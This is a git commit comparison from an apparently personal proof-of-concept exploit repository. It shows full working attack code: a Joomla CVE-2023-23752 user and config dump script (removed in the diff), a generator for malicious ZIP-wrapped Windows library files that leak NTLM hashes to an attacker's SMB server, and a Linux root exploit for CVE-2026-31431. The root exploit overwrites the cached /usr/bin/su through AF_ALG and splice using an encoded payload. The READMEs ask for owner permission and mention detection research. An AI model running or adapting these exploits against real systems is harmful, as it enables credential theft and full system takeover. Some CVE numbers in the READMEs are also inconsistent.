Compare commits
8 Commits
reformat
...
3d307e627b
| Author | SHA1 | Date | |
|---|---|---|---|
| 3d307e627b | |||
| d714a42433 | |||
| 2f136f2a5f | |||
| 4c80dfb1bf | |||
| 8c727d8f62 | |||
| 78bdacd90d | |||
| 81b198f31c | |||
| 07b56e0cdf |
@@ -1,76 +0,0 @@
|
||||
import requests
|
||||
import json
|
||||
import argparse
|
||||
|
||||
class User:
|
||||
def __init__(user, name, email, lastvisitDate, groupNames):
|
||||
user.name = name
|
||||
user.email = email
|
||||
user.lastvisitDate = lastvisitDate
|
||||
user.groupNames = groupNames
|
||||
|
||||
def __str__(user):
|
||||
return f"Username: {user.name}\nEmail: {user.email}\nLast Visit: {user.lastvisitDate}\nGroups: {user.groupNames}"
|
||||
|
||||
def vulnCheck(tgt):
|
||||
verUrl = tgt + "/administrator/manifests/files/joomla.xml"
|
||||
verData = requests.get(verUrl)
|
||||
if len(verData.text) == 0 or "404" in verData.text.lower() or "403" in verData.text.lower():
|
||||
print("[-] Site does not appear to be vulnerable!")
|
||||
raise SystemExit
|
||||
|
||||
def getUsers(tgt):
|
||||
usrUrl = tgt + "/api/index.php/v1/users?public=true"
|
||||
usrData = requests.get(usrUrl)
|
||||
if "404" in usrData.text.lower() or "403" in usrData.text.lower():
|
||||
print("[-] Error fetching user data, site may not be vulnerable")
|
||||
raise SystemExit
|
||||
parsedUsrs = json.loads(usrData.text)
|
||||
return parsedUsrs
|
||||
|
||||
def parseUsers(usrData):
|
||||
users = []
|
||||
for user in usrData["data"]:
|
||||
userAtribs = user["attributes"]
|
||||
newUser = User(userAtribs["username"],
|
||||
userAtribs["email"],
|
||||
userAtribs["lastvisitDate"],
|
||||
userAtribs["group_names"] )
|
||||
users.append(newUser)
|
||||
return users
|
||||
|
||||
def getConfig(tgt):
|
||||
cfgUrl = tgt + "/api/index.php/v1/config/application?public=true"
|
||||
cfgData = requests.get(cfgUrl)
|
||||
if "404" in cfgData.text.lower() or "403" in cfgData.text.lower():
|
||||
print("[-] Error fetching user data, site may not be vulnerable")
|
||||
raise SystemExit
|
||||
parsedCfg = json.loads(cfgData.text)
|
||||
return parsedCfg
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(prog='Joomla Info Disclosure CVE-2023-23752', description='This is a PoC for CVE-2023-23752, an information disclosure vulnerability in Joomla < 4.2.8', epilog='Written by 0xVoodo')
|
||||
parser.add_argument('-t', '--target', required=True, help='Target IP/URL')
|
||||
args = parser.parse_args()
|
||||
|
||||
tgt = args.target.lower()
|
||||
|
||||
if tgt[4] != "http" and tgt[5] != "https":
|
||||
print("[*] No URL schema specified, defaulting to HTTP")
|
||||
tgt = "http://" + tgt
|
||||
|
||||
vulnCheck(tgt)
|
||||
|
||||
print(f"\n[+] User data found!")
|
||||
print("----------")
|
||||
for user in parseUsers(getUsers(tgt)):
|
||||
print(user)
|
||||
print("----------")
|
||||
|
||||
print(f"\n[+] Config data found!")
|
||||
print("----------")
|
||||
for i in getConfig(tgt)["data"]:
|
||||
print(i["attributes"])
|
||||
|
||||
@@ -24,4 +24,6 @@ This is basically just a parser for the JSON returned by the open API endpoints,
|
||||
# License
|
||||
GPL v3.0 - as all good software should be
|
||||
|
||||
Only with explicit permission from the target system owner.
|
||||
|
||||
Remember - don't be a skid :)
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
from os import rename
|
||||
from os.path import isfile
|
||||
from zipfile import ZipFile
|
||||
import xml.etree.ElementTree as elementTree
|
||||
import argparse
|
||||
|
||||
#pretty colors :)
|
||||
RESET = "\033[0m"
|
||||
RED = "\033[31m"
|
||||
GREEN = "\033[32m"
|
||||
YELLOW = "\033[33m"
|
||||
BOLD = "\033[1m"
|
||||
|
||||
def findLib(library):
|
||||
if not library.endswith(".library-ms"):
|
||||
library = library + ".library-ms"
|
||||
|
||||
if isfile(library):
|
||||
pass
|
||||
else:
|
||||
try:
|
||||
rename("mal.library-ms", library)
|
||||
except (OSError, PermissionError, IsADirectoryError) as error:
|
||||
print(f"{BOLD}{RED}[-]{RESET} Error renaming library!")
|
||||
raise SystemExit(error)
|
||||
|
||||
return library
|
||||
|
||||
|
||||
def malLib(library, server):
|
||||
contents = elementTree.parse(library)
|
||||
root = contents.getroot()
|
||||
|
||||
nameSpace = root.tag.split("}")[0].strip("{")
|
||||
elementTree.register_namespace('', nameSpace)
|
||||
|
||||
for element in root.iter():
|
||||
if element.tag.endswith("url"):
|
||||
element.text = "\\\\" + server + "\\shared"
|
||||
contents.write(library, encoding="utf-8", xml_declaration=True)
|
||||
|
||||
def mkZip(library, filename):
|
||||
if not filename.endswith(".zip"):
|
||||
filename = filename + ".zip"
|
||||
|
||||
with ZipFile(filename, "w") as malZip:
|
||||
malZip.write(library)
|
||||
|
||||
if __name__ == "__main__":
|
||||
parser = argparse.ArgumentParser(prog='CVE-2025-24071.py',
|
||||
description='This is a PoC for CVE-2025-24071, a bug in Windows Explorer that allows for NTLM hash disclosure via crafted archives.',
|
||||
epilog='PoC by 0xVoodoo - Don\'t be a skid :)' )
|
||||
parser.add_argument('-s', '--server', required=True, help='Target IP/URL')
|
||||
parser.add_argument('-f', '--file', required=True, help='Output file name')
|
||||
parser.add_argument('-l', '--library', help='MS Library file name (default mal.library-ms)')
|
||||
args = parser.parse_args()
|
||||
print("===CVE-2025-24071 PoC by 0xVoodoo===")
|
||||
|
||||
if args.library:
|
||||
library = findLib(args.library)
|
||||
else:
|
||||
library = "mal.library-ms"
|
||||
|
||||
print(f"{BOLD}{YELLOW}[*]{RESET} Modifying library")
|
||||
malLib(library, args.server)
|
||||
|
||||
print(f"{BOLD}{YELLOW}[*]{RESET} Creating ZIP archive")
|
||||
mkZip(library, args.file)
|
||||
|
||||
print(f"{BOLD}{GREEN}[+]{RESET} ZIP archive created:", args.file)
|
||||
print(f"{BOLD}{YELLOW}[*]{RESET} Deliver the ZIP archive and start responder")
|
||||
@@ -0,0 +1,20 @@
|
||||
# CVE-2023-24071 - Windows Explorer NTLM Hash Disclosure
|
||||
|
||||
This exploit abuses the way Windows Explorer handles library files that have been extracted from an archive (.zip, .rar, etc.).
|
||||
When an archive containing a library is decompressed, Explorer will automatically attempt a connection to the URL specified in the library.
|
||||
|
||||
This means that we can set up responder and listen for a connection back to our fake SMB server, disclosing the hash of the user who extracted the archive.
|
||||
|
||||
User interaction is required as the archive file must be opened for the connection to be made.
|
||||
|
||||
# Usage
|
||||
|
||||
CVE-2025-2401.py -s <attacker IP/domain> -f <output file name>
|
||||
\-l <library name> Renames the library file (default mal.library-ms)
|
||||
|
||||
# License
|
||||
GPL v3.0 - as all good software should be
|
||||
|
||||
Only with explicit permission from the target system owner.
|
||||
|
||||
Remember - don't be a skid :)
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>example</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
@@ -8,4 +8,6 @@ The vulnerable endpoint here is:
|
||||
# License
|
||||
GPL v3.0 - as all good software should be
|
||||
|
||||
Only with explicit permission from the target system owner.
|
||||
|
||||
Remember - don't be a skid :)
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
import os, zlib, socket
|
||||
|
||||
|
||||
def exploit(payload, su_file, counter):
|
||||
|
||||
listener = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET)
|
||||
listener.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
|
||||
|
||||
listener.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, bytes.fromhex('0800010000000010'+'0'*64))
|
||||
listener.setsockopt(socket.SOL_ALG, socket.ALG_SET_AEAD_AUTHSIZE, None, 4)
|
||||
|
||||
connection, _ = listener.accept()
|
||||
|
||||
connection.sendmsg([b"A"*4+payload], [(socket.SOL_ALG, 3, b'\x00'*4), (socket.SOL_ALG, 2, b'\x10'+b'\x00'*19), (socket.SOL_ALG, 4, b'\x08' + b'\x00' * 3),], 32768)
|
||||
|
||||
stdin, stdout = os.pipe()
|
||||
|
||||
os.splice(su_file, stdout, counter + 4, offset_src=0)
|
||||
os.splice(stdin, connection.fileno(), counter + 4)
|
||||
|
||||
try:
|
||||
connection.recv(8 + counter)
|
||||
except:
|
||||
0
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
payload = zlib.decompress(bytes.fromhex("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
|
||||
|
||||
su_file = os.open("/usr/bin/su", 0)
|
||||
|
||||
i = 0
|
||||
|
||||
while i < len(payload):
|
||||
exploit(payload[i:i+4], su_file, i)
|
||||
i += 4
|
||||
|
||||
os.system("su")
|
||||
@@ -0,0 +1,20 @@
|
||||
# CopyFail | CVE-2026-31431 - Linux Privilege Escalation via Authencesn Scratch-Write Bug
|
||||
|
||||
Full writeup @ [my blog](https://0xvoodoo.sh/articles/copyfail/) | OG Writeup [here](https://xint.io/blog/copy-fail-linux-distributions#the-root-cause-page-cache-pages-in-the-writable-scatterlist-1)
|
||||
|
||||
This exploit has caused quite the panic among defenders, so I re-wrote/unminified [the original PoC](https://github.com/theori-io/copy-fail-CVE-2026-31431) to more easily look at detection opportunities.
|
||||
|
||||
In short, this exploit abuses the way `splice()` works and the AF_ALG socket type within [authencesn.c](https://github.com/torvalds/linux/blob/26fd6bff2c050196005312d1d306889220952a99/crypto/authencesn.c#L3) from the Linux crypto libraries. More or less, it allows the attacker to write 4 bytes of memory at a time to pagefiles, leading to the overwrite of the in-cache version of open files. When this is done with a SUID binary, like `/bin/su` the attacker is able to then execute the binary, which will pulls from the cache. This leaves the legit version of the overwritten binary in place while allowing arbitrary non-privileged users to gain root perms.
|
||||
|
||||
*Note* - This exploit needs at least Python 3.10
|
||||
|
||||
*Additional Note* - For sake of readibility, I've replaced the direct int descriptors with their named socket.* versions, this may slightly reduce portability.
|
||||
|
||||
# License
|
||||
|
||||
GPL v3.0 - as all good software should be
|
||||
|
||||
Only use with explicit permission from the target system owner.
|
||||
|
||||
Remember - don't be a skid :)
|
||||
|
||||
@@ -6,6 +6,8 @@ This repo contains proof of concept exploits for vulnerabilities I've come acros
|
||||
# Exploits
|
||||
- [CVE-2023-23752](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2023-23752) - Information disclosure in Joomla CMS.
|
||||
- [CVE-2025-24893](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2025-24893) - RCE in XWiki.
|
||||
- [CVE-2025-24071](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2025-24071) - Windows Explorer NTLM Hash Disclosure
|
||||
- [CVE-2026-31431](https://github.com/0xVoodoo/PoCs/tree/main/CVE-2026-31431) - Linux LPE via Authencesn Scratch-Write Bug
|
||||
|
||||
# License
|
||||
GPLv3 as all good software (or exploits I guess) should be.
|
||||
|
||||
Reference in New Issue
Block a user